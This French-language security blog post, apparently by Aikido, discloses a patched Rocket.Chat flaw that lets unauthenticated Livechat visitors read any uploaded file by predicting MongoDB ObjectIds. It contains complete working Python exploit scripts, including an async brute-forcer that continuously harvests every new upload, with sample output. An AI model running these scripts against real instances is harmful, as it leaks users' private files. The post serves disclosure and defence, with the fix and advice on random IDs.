Prédiction continue des MongoDB ObjectId dans Rocket.Chat

Les applications utilisant MongoDB ont un piège courant qui consiste à traiter la fonction ObjectId() comme étant cryptographiquement sécurisée. Récemment, nous avons découvert Rocket.Chat, une application open source similaire à Slack, en être victime. Chez Aikido, nous exécutons AI Pentests sur diverses applications open source pour tester nos agents et identifier leurs forces et points d'amélioration. Lors du pentest, l'un des agents a signalé qu'un utilisateur non authentifié de Rocket.Chat peut accéder à n'importe quel fichier téléversé s'il connaît son ID. L'ID est généré avec celui de MongoDB ObjectId() et semble aléatoire à première vue, mais en y regardant de plus près, il n'en est rien !

Dans cet article, nous allons démontrer comment un attaquant peut récupérer en continu tous les ID valides générés. Nous décrirons une attaque qui sonde l'ID actuel pour prédire tous les autres ID générés par l'application. Cela est illustré par la capture de chaque fichier téléversé dans une instance Rocket.Chat. L'attaque pourrait être appliquée à différentes applications utilisant MongoDB avec les mêmes primitives, au-delà de Rocket.Chat.

Nous avons découvert et signalé le problème dans Rocket.Chat le 21 avril via HackerOne (maintenant divulgué publiquement : #3687142). Au 12 juin, il a été corrigé dans les versions 8.5.1, 8.4.4, 8.3.6, 8.2.6, 8.1.6, 8.0.7, 7.13.9 et 7.10.13. Si vous ou votre organisation hébergez une instance Rocket.Chat, mettez à niveau vers l'une de ces versions ou une version plus récente dès que possible si ce n'est pas déjà fait. Puisqu'il s'agit d'un exploit non authentifié, toute personne ayant un accès réseau peut l'exploiter.

La Vulnérabilité

Avant de plonger dans la technique d'exploitation, permettez-moi d'expliquer plus en détail le fonctionnement de Rocket.Chat.

Le cas d'utilisation principal de Rocket.Chat est la communication avec votre organisation et votre équipe. Les conversations sont réparties entre des canaux configurables, et les utilisateurs peuvent partager des fichiers en plus du chat. Pour comprendre la surface d'attaque non authentifiée, dans la configuration par défaut, les utilisateurs ne peuvent pas s'auto-enregistrer et une connexion est requise pour ouvrir l'application.

Il existe également un composant optionnel appelé Livechat, qui est essentiellement un chat de support non authentifié. Bien qu'il soit optionnel, il est activé par défaut, mais il n'est pas visible à moins de naviguer directement vers /livechat:

Livechat permet aux utilisateurs d'envoyer un message en texte brut au support. De plus, ce widget prend en charge le téléversement de fichiers, mais l'entrée est désactivée par défaut (vous ne pouvez donc pas la voir dans la capture d'écran ci-dessus). Néanmoins, le point d'API pour téléverser des fichiers sans authentification reste accessible. C'est la primitive principale que nous utiliserons dans notre exploit final.

Les fichiers téléversés via l'une ou l'autre de ces fonctionnalités (canaux authentifiés et Livechat non authentifié) sont stockés au même endroit : /file-upload/{fileId}. Cela crée des complications dans la logique d'autorisation. Pourrions-nous abuser de quelque chose dans Livechat pour lire les téléversements de canaux réels ?

L'un des agents a remarqué quelque chose de particulier dans FileUpload.ts. deux façons différentes de définir l'ID de salle d'un fichier. Premièrement, l'autorisation est effectuée par requestCanAccessFiles qui lit rc_rid (rid = ID de salle) à partir de la chaîne de requête.

async requestCanAccessFiles({ headers = {}, url }: http.IncomingMessage, file?: IUpload) {
    const { query } = URL.parse(url, true);
    let { rc_uid, rc_token, rc_rid, rc_room_type } = query;
    ...
   const isAuthorizedByRoom = async () =>
        rc_room_type &&
        roomCoordinator
            .getRoomDirectives(rc_room_type)
            .canAccessUploadedFile({ rc_uid: rc_uid || '', rc_rid: rc_rid || '', rc_token: rc_token || '' });

Le rc_rid est transmis à canAccessUploadedFile avec le rc_token paramètre pour vérifier que vous avez accès à cette salle et que vous devriez pouvoir lire le fichier :

async canAccessUploadedFile({ rc_token: token, rc_rid: rid }) {
    return token && rid && !!(await LivechatRooms.findOneByIdAndVisitorToken(rid, token));
},

Deuxièmement, il y a l'appel à FileUpload.requestCanAccessFiles, qui récupère le fichier depuis le /file-upload/{fileId}/… chemin et le recherche directement dans la base de données :

WebApp.connectHandlers.use(FileUpload.getPath(), async (req, res, next) => {
    const match = /^\/([^\/]+)\/(.*)/.exec(req.url || '');

    if (match?.[1]) {
        const file = await Uploads.findOneById(match[1]);

        if (file) {
            if (!(await FileUpload.requestCanAccessFiles(req, file))) {

Ceci fichier a également un rid (ID de salle), qui peut être différent de l' rc_rid `rid` fourni dans l'URL. Que se passerait-il s'ils ne correspondaient pas ?

La réponse est une vulnérabilité majeure. Rocket.Chat ne vérifie pas que le fichier que vous demandez se trouve dans la salle pour laquelle vous vérifiez l'accès. Cela signifie que vous pouvez fournir n'importe quelle salle factice valide, puis spécifier un fileId `fileId` arbitraire dans le paramètre de chemin pour obtenir son contenu.

Voyons cela en pratique. Nous commençons par téléverser un fichier quelconque sur un canal en tant que victime. Dans la capture d'écran ci-dessous, l'utilisateur administrateur a téléversé file.txt:

Ensuite, copiez le lien vers le fichier, comme ceci :
https://rocketchat.local/file-upload/6a325394876fbe9c70b1b03f/file.txt
En visitant naïvement l'URL dans un onglet incognito, on obtient une erreur 403, ce qui indique qu'elle devrait être privée. Voyons maintenant si nous pouvons la divulguer en utilisant la fonctionnalité Livechat.

Prenez la fileId partie 6a325394876fbe9c70b1b03f, et demandons la même URL avec n'importe quel utilisateur de salle Livechat anonyme. Nous pouvons créer une session en nous enregistrant d'abord comme « visiteur » avec n'importe quelle valeur de jeton, puis en demandant notre ID de salle (Room ID). Avec cet ID de salle valide, si notre exploit fonctionne, nous sommes maintenant en mesure d'obtenir n'importe quel fichier si nous connaissons simplement son ID fileId. Car il n'y a aucune vérification comparant la salle réelle du fichier à notre salle temporaire.

Nous allons construire un script Python pour notre exploit final, étape par étape. En commençant par implémenter cette idée :

HOST = "https://rocketchat.local"
FILE_ID = "6a325394876fbe9c70b1b03f"

s = requests.Session()

token = "x"
# Create anonymous visitor with token
s.post(f"{HOST}/api/v1/livechat/visitor", 
       json={"visitor": {"token": token, "name": "attacker", "email": "attacker@example.com"}})
# Get our Room ID
r = s.get(f"{HOST}/api/v1/livechat/room", 
          params={"token": token, "agentId": "rocket.cat"})
rid = r.json()["room"]["_id"]
print(f"{rid=}")  # ceHsTjGSTfvAzWHk2

# Get other file using our Room ID
r = s.get(f"{HOST}/file-upload/{FILE_ID}/x", 
          params={"rc_room_type": "l", "rc_rid": rid, "rc_token": token})
print(r.text)  # SUPER SECRET DATA
print(r.headers["Content-Disposition"])  # attachment; filename*=UTF-8''file.txt

Nous avons réussi à divulguer les DONNÉES SUPER SECRÈTES à l'intérieur de file.txt! Nous obtenons également le nom de fichier original dans l'en-tête Content-Disposition : , ce qui facilite la découverte du contenu réel du fichier.

Une découverte intéressante de l'agent, mais elle reposait sur la connaissance de l'identifiant difficile à deviner fileId: 6a325394876fbe9c70b1b03f. Il s'agit d'une valeur aléatoire composée de 12 octets. Même avec un million de requêtes par seconde, il faudrait plusieurs milliers de durées de vie d'univers avant d'espérer un premier succès. Ce n'est pas entièrement réaliste.

Après avoir examiné manuellement davantage le code source de l'application, nous n'avons trouvé aucun moyen de divulguer directement l'un de ces ID de fichier à partir d'autres sources. Comment obtenir un ID valide ?

Le premier indice vient du fait que cet ID est généré par la fonction ObjectId() de MongoDB. « En quoi cela nous aide-t-il ? » pourriez-vous demander.

MongoDB ObjectId()

Comme expliqué dans la documentation, un ObjectId est composé de :

• Un horodatage de 4 octets, représentant la création de l'ObjectId, mesuré en secondes depuis l'époque Unix.
• Une valeur aléatoire de 5 octets générée une fois par processus côté client. Cette valeur aléatoire est unique à la machine et au processus. Si le processus redémarre ou si le nœud primaire du processus change, cette valeur est régénérée.
• Un compteur incrémentiel de 3 octets par processus côté client, initialisé avec une valeur aléatoire. Le compteur se réinitialise lorsqu'un processus redémarre.

Ainsi, un ID comme 6a325394876fbe9c70b1b03f peut être divisé en :

Il est également indiqué :

> Pour les valeurs d'horodatage et de compteur, les octets les plus significatifs apparaissent en premier dans la séquence d'octets (big-endian)

Ainsi, notre horodatage 6a325394 peut être décodé en le 17 juin 2026 à 9h58:12 :

>>> from datetime import datetime
>>> datetime.fromtimestamp(int("6a325394", 16))
datetime.datetime(2026, 6, 17, 9, 58, 12)

La valeur du compteur b1b03f est également un entier big-endian. b1b03f + 1 donnerait b1b040, le prochain ID. Ce compteur est initialisé aléatoirement et boucle à ffffff à 000000.

Il est également assez évident si nous comparons maintenant deux ID de fichiers séquentiels. Ils sont loin d'être aléatoires.

1. 6a325394876fbe9c70b1b03f
2. 6a325a30876fbe9c70b1b048

Prédiction entièrement aléatoire

Avec cette faible entropie, on pourrait penser que nous pouvons simplement forcer les ID par brute force jusqu'à ce que nous tombions sur un fichier existant. Bien que cela soit en grande partie vrai pour l'horodatage (nous n'avons qu'à itérer les secondes des derniers mois), nous ne connaissons pas la valeur aléatoire statique de 5 octets, et le compteur est également initialisé aléatoirement.

La valeur aléatoire statique seule offre plus d'un billion de possibilités (256^5). À un rythme de 1000 requêtes par seconde, vous seriez toujours en attente d'environ 18 ans. À ce moment-là, je serais impressionné si la machine de votre attaquant fonctionnait encore.

Nous pouvons considérer cela comme impossible.

Prédiction à partir d'un point d'ancrage

La meilleure approche est de trouver tout ObjectId() une sortie de l'application, puis de prédire les futurs à partir de là. Un « point d'ancrage ». Dans Rocket.Chat, heureusement pour nous, il existe un moyen très simple de le faire avec la fonctionnalité Livechat que nous utilisons déjà. Si nous téléchargeons simplement un fichier anonymement, nous obtenons son ID, c'est notre échantillon.

r = s.post(f"{HOST}/api/v1/livechat/upload/{rid}", 
            headers={"x-visitor-token": token}, 
            files={"file": ("probe", b"probe", "text/plain")})
r.raise_for_status()
data = r.json()
probe_id = data["file"]["_id"]
print(f"{probe_id=}")  # 6a325fbf876fbe9c70b1b053

Nous avons maintenant deux primitives requises :

1. Quelque chose auquel nous ne devrions pas avoir accès est accessible si nous connaissons son ObjectId()
2. Nous avons un moyen de générer et lire nos propres ObjectId()

Avec cela en main, nous pouvons aller beaucoup plus loin. Pour trouver les fichiers téléchargés par d'autres utilisateurs, nous devons réfléchir à ce qui change : l'horodatage (timestamp) et le compteur. Nous devrons décrémenter l'horodatage en secondes jusqu'à l'heure souhaitée. Mais dans le cas du compteur, nous ne savons pas vraiment de combien le décrémenter, car d'autres fonctionnalités peuvent générer ObjectId()tout aussi bien, en sautant certaines valeurs pour les ID de fichiers que nous recherchons.

En devinant simplement certaines plages, nous pouvons déjà obtenir de bons résultats :

# Parse parts of the ObjectId()
timestamp = datetime.fromtimestamp(int(probe_id[0:8], 16))
random = probe_id[8:18]
counter = int(probe_id[18:24], 16)
print(f"{timestamp=} {random=} {counter=}")

# Loop through the last 5 minutes of timestamps, and last 20 counters
for delta in tqdm(range(int(timedelta(minutes=5).total_seconds()))):
    for c in range(counter - 20, counter):
        t = timestamp - timedelta(seconds=delta)  # Go backwards
        # Create new potential ObjectId()
        oid = f"{int(t.timestamp()):08x}{random}{c:06x}"
        if oid == probe_id:
            continue  # Skip our own file

        # Try requesting it, if successful, print it
        r = s.get(f"{HOST}/file-upload/{oid}/x", 
            params={"rc_room_type": "l", "rc_rid": rid, "rc_token": token})
        if r.ok:
            tqdm.write(f"{oid}: {r.text!r}")

Si nous téléchargeons un fichier sur Rocket.Chat et exécutons ce script peu après, il découvre l'ID et ses données (en itérant sur les 5 dernières minutes + les 20 ID précédents dans le compteur). Voici un exemple de la sortie à laquelle vous pouvez vous attendre :

probe_id='6a326750876fbe9c70b1b069'
timestamp=datetime.datetime(2026, 6, 17, 11, 22, 24) random='876fbe9c70' counter=11645033
6a326747876fbe9c70b1b068: 'SUPER SECRET DATA'                             
  6%|██▎                                 | 19/300 [00:09<02:36,  1.79it/s]

Bien que viable pour une preuve de concept, dans une attaque réaliste, vous ne saurez pas exactement quand une victime télécharge son fichier. Une instance réelle peut également être beaucoup plus sollicitée que notre instance locale, générant de nombreux ObjectId()pour d'autres fonctionnalités qui déplacent les ID de fichiers. Nous devons être plus rapides et trouver un moyen de garantir que nous atteignons chaque ID de fichier sans faire d'hypothèses sur l'horodatage ou le compteur.

Recherche continue de tous les ObjectId()s

Un goulot d'étranglement majeur actuellement est que nous demandons chaque ID de manière synchrone, un par un. Pendant que nous attendons une réponse du serveur, nous ne faisons rien. En convertissant le code pour qu'il soit asynchrone avec une bibliothèque comme httpx, nous pouvons lancer plusieurs workers qui envoient tous des requêtes depuis une file d'attente simultanément.
Nous extrairons le nom de fichier de l' Content-Disposition : header en même temps, et enregistrerons le fichier sous fuites/ localement avec son nom de fichier original.

async def get_token(client):
    token = "x"
    r = await client.post(f"{HOST}/api/v1/livechat/visitor", json={"visitor": {"token": token, "name": "probe", "email": "probe@ex.com"}})
    r.raise_for_status()
    r = await client.get(f"{HOST}/api/v1/livechat/room", params={"token": token, "agentId": "rocket.cat"})
    r.raise_for_status()
    rid = r.json()["room"]["_id"]
    return token, rid

async def oid_worker(client, i, queue, rid, token):
    while True:
        oid = await queue.get()
        print(f"Worker {i} requesting {oid}")
        r = await client.get(f"{HOST}/file-upload/{oid}/x", params={"rc_room_type": "l", "rc_rid": rid, "rc_token": token})
        if r.status_code == 200:
           filename = unquote(r.headers["Content-Disposition"].split("filename*=UTF-8''")[1])
            try:
                content = r.text
            except UnicodeDecodeError:
                content = r.content
            print(f"[LEAK] {oid} ({filename}): {content[:100]!r}")
            with open(f"leaks/{filename.replace('/', '_')}", "wb") as f:
                f.write(r.content)

async def main():
    queue = asyncio.Queue()
    num_workers = 10

    async with httpx.AsyncClient() as client:
        token, rid = await get_token(client)
        print(f"{rid=}")

        print("Starting producer loop...")
        producer_task = asyncio.create_task(oid_producer(client, queue, rid, token))  # We will implement the producer in a second
        print(f"Starting {num_workers} workers...")
        worker_tasks = [
            asyncio.create_task(oid_worker(client, i, queue, rid, token))
            for i in range(num_workers)
        ]
        await asyncio.gather(producer_task, *worker_tasks)

if __name__ == "__main__":
    asyncio.run(main())

Pour nous assurer d'atteindre chaque ID existant, nous pouvons utiliser la différence entre plusieurs sondes. Si une sonde précédente a vu le compteur à 100, et la sonde suivante un peu plus tard (par exemple, 10 secondes) l'a vu à 122, nous savons que 22 ID ont été générés pendant cette période. L'intervalle d'horodatage est également immédiatement clair : 10 secondes. Nous pouvons donc itérer à travers 10*22 ID aussi rapidement que possible.

Une fois cela fait, nous pouvons envoyer une autre sonde 10 secondes plus tard, disons que le compteur est alors à 130. Comparons cela à la sonde précédente de 122, et nous devons essayer 8 valeurs de compteur sur 10 secondes à nouveau.
Nous pouvons maintenir cette boucle, produisant des écarts d'ID en sondant continuellement à de courts intervalles, et en les récupérant rapidement à l'aide de workers asynchrones.

Visuellement, l'algorithme fonctionne comme suit. Au lieu de récupérer une plage complète de 9*26=234 ID, nous pouvons obtenir des échantillons de l'application pour réduire la taille des rectangles que nous parcourons. La somme de ces plages plus petites, 6+16+45 = 67, est bien inférieure à la plage complète naïve.

En maintenant le programme en cours d'exécution et avec des requêtes suffisamment rapides, nous pouvons garantir que nous atteignons chaque ID de fichier potentiel.

Dans notre implémentation Python, ce n'est pas difficile à mettre en œuvre. Il suffit de diviser chaque ID de sonde pour en extraire son horodatage et son compteur, et de les comparer aux précédents.
Si nous sommes astucieux, nous pouvons enregistrer et éviter nos propres valeurs de compteur de sonde dans la recherche, car celles-ci ne seront jamais les fichiers secrets que nous recherchons. Un cas limite à surveiller est que le compteur se réinitialise à partir de ffffff à 000000 s'il atteint cette limite, nous devons donc utiliser un modulo pour nous assurer qu'il reste dans les 3 octets.

PRODUCER_INTERVAL = 10

def split_probe_id(probe_id):
    timestamp = int(probe_id[0:8], 16)
    random = probe_id[8:18]
    counter = int(probe_id[18:24], 16)
    return timestamp, random, counter

def mod_range(start, stop, modulus):
    for i in range((stop - start) % modulus):
        yield (start + i) % modulus

async def oid_producer(client, queue, rid, token):
    prev_probe_id = await get_probe_id(client, rid, token)
    probes = set([split_probe_id(prev_probe_id)[2]])
    await asyncio.sleep(PRODUCER_INTERVAL)
    while True:
        probe_id = await get_probe_id(client, rid, token)
        prev_timestamp, _, prev_counter = split_probe_id(prev_probe_id)
        timestamp, random, counter = split_probe_id(probe_id)
        probes.add(counter)
        i = 0
        for t in range(prev_timestamp, timestamp):
            for c in mod_range(prev_counter, counter, 0x1000000):
                if c in probes:
                    continue  # Skip our own files
                oid = f"{t:08x}{random}{c:06x}"
                await queue.put(oid)
                i += 1
        print(f"Produced {i} IDs")
        prev_probe_id = probe_id
        await asyncio.sleep(PRODUCER_INTERVAL)

Maintenant, en exécutant enfin le script, nous pouvons constater sur notre instance locale que rien de particulier ne se passe tant que rien n'arrive. Nous ignorons nos propres ID et la différence par rapport à la sonde précédente n'est que de 1. Jusqu'à ce que nous ouvrions l'application et téléchargeions un fichier, en 10 secondes, il est détecté par le script d'exploit et divulgué par un worker qui l'a récupéré :

Démarrage de la boucle du producteur...
Démarrage de 10 workers...
Produits 0 ID
Produits 0 ID
...
Produits 22 ID
Worker 0 demande 6a32774c876fbe9c70b1b112
Worker 1 demande 6a32774c876fbe9c70b1b113
...
Worker 3 demande 6a327754876fbe9c70b1b113
[FUITE] 6a32774e876fbe9c70b1b112: 'DONNÉES SUPER SECRÈTES'
Worker 5 demande 6a327756876fbe9c70b1b113
Produits 0 ID

Succès ! Pendant que le script est en cours d'exécution, nous identifions et divulguons désormais chaque fichier téléchargé sur l'instance Rocket.Chat. Grâce aux améliorations de vitesse, l'instance peut être utilisée régulièrement sans trop interrompre notre script, et de plus, c'est une file d'attente, donc s'il y a trop de travail, elle finira par rattraper son retard lorsque l'activité diminuera. Notez que l'intervalle de 10 secondes que nous utilisons actuellement est complètement arbitraire : plus vous le réduisez, plus les plages possibles seront petites, ce qui vous permettra de détecter précisément le moment où un fichier est téléchargé. Vous pouvez décider vous-même de l'équilibre entre le nombre de requêtes de sondage et le nombre de requêtes de force brute.

Regardez la preuve de concept dans cette vidéo :

Points clés

Rocket.Chat a corrigé le problème de contrôle d'accès (#40889) en passant le fichier dans canAccessUploadedFile(), et en vérifiant que le fichier choisi correspond à l'ID de la salle spécifié dans le paramètre de requête.

En règle générale, pour les ID aléatoires, nous recommandons de ne pas se fier à ObjectId(), c'est presque aussi peu sûr qu'un simple ID incrémental. En tant que défense en profondeur, utilisez des UUIDv4 pour des chaînes aléatoires sécurisées afin de garantir que même avec des bugs de contrôle d'accès, un attaquant ait toujours besoin d'une deuxième étape pour découvrir les ID.

Bien que notre agent ait trouvé avec succès la vulnérabilité IDOR, il n'a initialement pas mentionné la prévisibilité des ID MongoDB ObjectId(), car un seul échantillon semble aléatoire à première vue. Avec les modifications que nous avons apportées après cette recherche, les agents explorent désormais l'entropie de ces ID pour expliquer plus précisément la probabilité d'exploitation dans les rapports.

Pour les chercheurs en sécurité et les pentesters souhaitant améliorer le réalisme de leurs PoC IDOR, vous savez maintenant que vous pouvez facilement prédire les ID MongoDB. C'est un point à surveiller chaque fois que vous avez deux ID qui semblent étrangement similaires.

Notre outil de pentest IA a découvert cela de lui-même. Si vous souhaitez un pentest rapide et de haute qualité pour votre application, découvrez la suite de pentesting d'Aikido.